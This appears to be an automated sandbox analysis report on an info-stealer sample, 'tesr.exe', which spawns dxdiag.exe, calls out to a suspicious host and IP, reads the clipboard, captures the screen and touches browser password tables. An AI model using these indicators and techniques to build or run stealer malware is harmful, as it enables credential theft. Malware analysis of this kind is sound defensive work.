Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: dxdiag.exe, 00000002.00000003.2209512428.000000000500C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2278524685.0000000002C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/
Source: dxdiag.exe, 00000002.00000003.2240921118.0000000005022000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2251040585.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2239478696.0000000005022000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2238186286.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237874580.000000000501C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/A
Source: dxdiag.exe, 00000002.00000002.2289289481.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2288285003.0000000002BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/L
Source: dxdiag.exe, 00000002.00000003.2224525421.000000000501E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224841744.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224436080.000000000501B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225377449.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226346264.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237874580.000000000501C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/Q
Source: dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2290032670.000000000501F000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224525421.000000000501E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225444532.0000000005011000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225236793.0000000005011000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224841744.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2251013552.0000000002C5B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224436080.000000000501B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226701499.0000000005011000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2262164770.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2262657600.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225377449.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226346264.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224600032.000000000500E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2238186286.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289531598.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237874580.000000000501C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2209512428.000000000500C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/api
Source: dxdiag.exe, 00000002.00000003.2262186574.000000000500F000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2237965926.000000000500F000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2261930463.000000000500C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2251040585.0000000005011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/api_
Source: dxdiag.exe, 00000002.00000003.2224525421.000000000501E000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224841744.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2224436080.000000000501B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2225377449.0000000005021000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2226346264.0000000005021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/apie
Source: dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/apivR
Source: dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/b
Source: dxdiag.exe, 00000002.00000003.2288285003.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000002.2289289481.0000000002BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click/j
Source: dxdiag.exe, 00000002.00000003.2224600032.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mutterunurse.click:443/api
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: dxdiag.exe, 00000002.00000003.2226701499.000000000500E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: dxdiag.exe, 00000002.00000003.2193810951.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193668660.0000000004FCA000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193589244.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: dxdiag.exe, 00000002.00000003.2226410373.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.18:443 -> 192.168.2.5:49770 version: TLS 1.2

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00431A30

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00431A30

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00431BB0

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0040A960	2_2_0040A960
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00426170	2_2_00426170
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0040E2A9	2_2_0040E2A9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00416B7E	2_2_00416B7E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00439B90	2_2_00439B90
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004233A0	2_2_004233A0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00436C40	2_2_00436C40
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043DCF0	2_2_0043DCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004215F0	2_2_004215F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042C6D7	2_2_0042C6D7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043E690	2_2_0043E690
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042BFD3	2_2_0042BFD3
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00410FD6	2_2_00410FD6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042BFDA	2_2_0042BFDA
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004087F0	2_2_004087F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00436F90	2_2_00436F90
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004097B0	2_2_004097B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00425F7D	2_2_00425F7D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00409070	2_2_00409070
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043A030	2_2_0043A030
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004038C0	2_2_004038C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004380D9	2_2_004380D9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041D8E0	2_2_0041D8E0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042D085	2_2_0042D085
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004280B0	2_2_004280B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042297F	2_2_0042297F
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042A100	2_2_0042A100
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00437900	2_2_00437900
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00416E97	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00405910	2_2_00405910
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00425920	2_2_00425920
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004301D0	2_2_004301D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004081F0	2_2_004081F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00408990	2_2_00408990
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00417190	2_2_00417190
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00414A40	2_2_00414A40
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041BA48	2_2_0041BA48
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0040CA54	2_2_0040CA54
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00404270	2_2_00404270
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00422270	2_2_00422270
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00406200	2_2_00406200
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00423A00	2_2_00423A00
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CAC0	2_2_0043CAC0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043E2C0	2_2_0043E2C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004292D0	2_2_004292D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00415ADC	2_2_00415ADC
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042BA8D	2_2_0042BA8D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004192BA	2_2_004192BA
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0040B351	2_2_0040B351
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041CB5A	2_2_0041CB5A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00409360	2_2_00409360
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041C360	2_2_0041C360
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00411B1B	2_2_00411B1B
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043533A	2_2_0043533A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CBD6	2_2_0043CBD6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043A3F0	2_2_0043A3F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00404BA0	2_2_00404BA0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0040D44C	2_2_0040D44C
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00434C4D	2_2_00434C4D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00407470	2_2_00407470
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00419C10	2_2_00419C10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00418C1E	2_2_00418C1E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041D420	2_2_0041D420
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041DC20	2_2_0041DC20
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00436430	2_2_00436430
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CCE0	2_2_0043CCE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00422CF8	2_2_00422CF8
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00427C9D	2_2_00427C9D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CD60	2_2_0043CD60
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00416571	2_2_00416571
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00424D70	2_2_00424D70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00423D30	2_2_00423D30
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041DE40	2_2_0041DE40
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00423E4B	2_2_00423E4B
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00405E60	2_2_00405E60
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00412670	2_2_00412670
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00425670	2_2_00425670
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041AE00	2_2_0041AE00
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CE00	2_2_0043CE00
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00423E30	2_2_00423E30
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004156D0	2_2_004156D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00415EE0	2_2_00415EE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004266E7	2_2_004266E7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00406690	2_2_00406690
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00436690	2_2_00436690
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00416E97	2_2_00416E97
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00402EA0	2_2_00402EA0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004376B0	2_2_004376B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00426EBE	2_2_00426EBE
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00428F5D	2_2_00428F5D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0042B763	2_2_0042B763
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00425F7D	2_2_00425F7D
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00414F08	2_2_00414F08
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00420717	2_2_00420717
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00418731	2_2_00418731
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0041EF30	2_2_0041EF30
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_004167A5	2_2_004167A5
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00418FAD	2_2_00418FAD
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043DFB0	2_2_0043DFB0

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: String function: 00408000 appears 52 times

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 2_2_00436F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00436F90

Source: tesr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\tesr.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: dxdiag.exe, 00000002.00000003.2194242907.0000000004F9B000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2213921120.0000000004F9C000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000002.00000003.2193974033.0000000004FB8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: tesr.exe	Virustotal: Detection: 35%
Source: tesr.exe	ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\tesr.exe "C:\Users\user\Desktop\tesr.exe"
Source: C:\Users\user\Desktop\tesr.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"
Source: C:\Users\user\Desktop\tesr.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior

Source: C:\Users\user\Desktop\tesr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tesr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: tesr.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: tesr.exe

Static file information: File size 12735488 > 1048576

Source: tesr.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0xa2b800
Source: tesr.exe	Static PE information: Raw size of .data is bigger than: 0x100000 < 0x12e800

Source: tesr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: tesr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: tesr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: tesr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: tesr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: tesr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: tesr.exe	Static PE information: section name: .fptable
Source: tesr.exe	Static PE information: section name: _RDATA

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00446061 push edx; retf	2_2_00446062
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	2_2_0043CA63
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00445A2E push esi; ret	2_2_00445A31
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00442543 push esp; retf	2_2_00442549
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 2_2_00446EA4 push edi; iretd	2_2_00446EA5
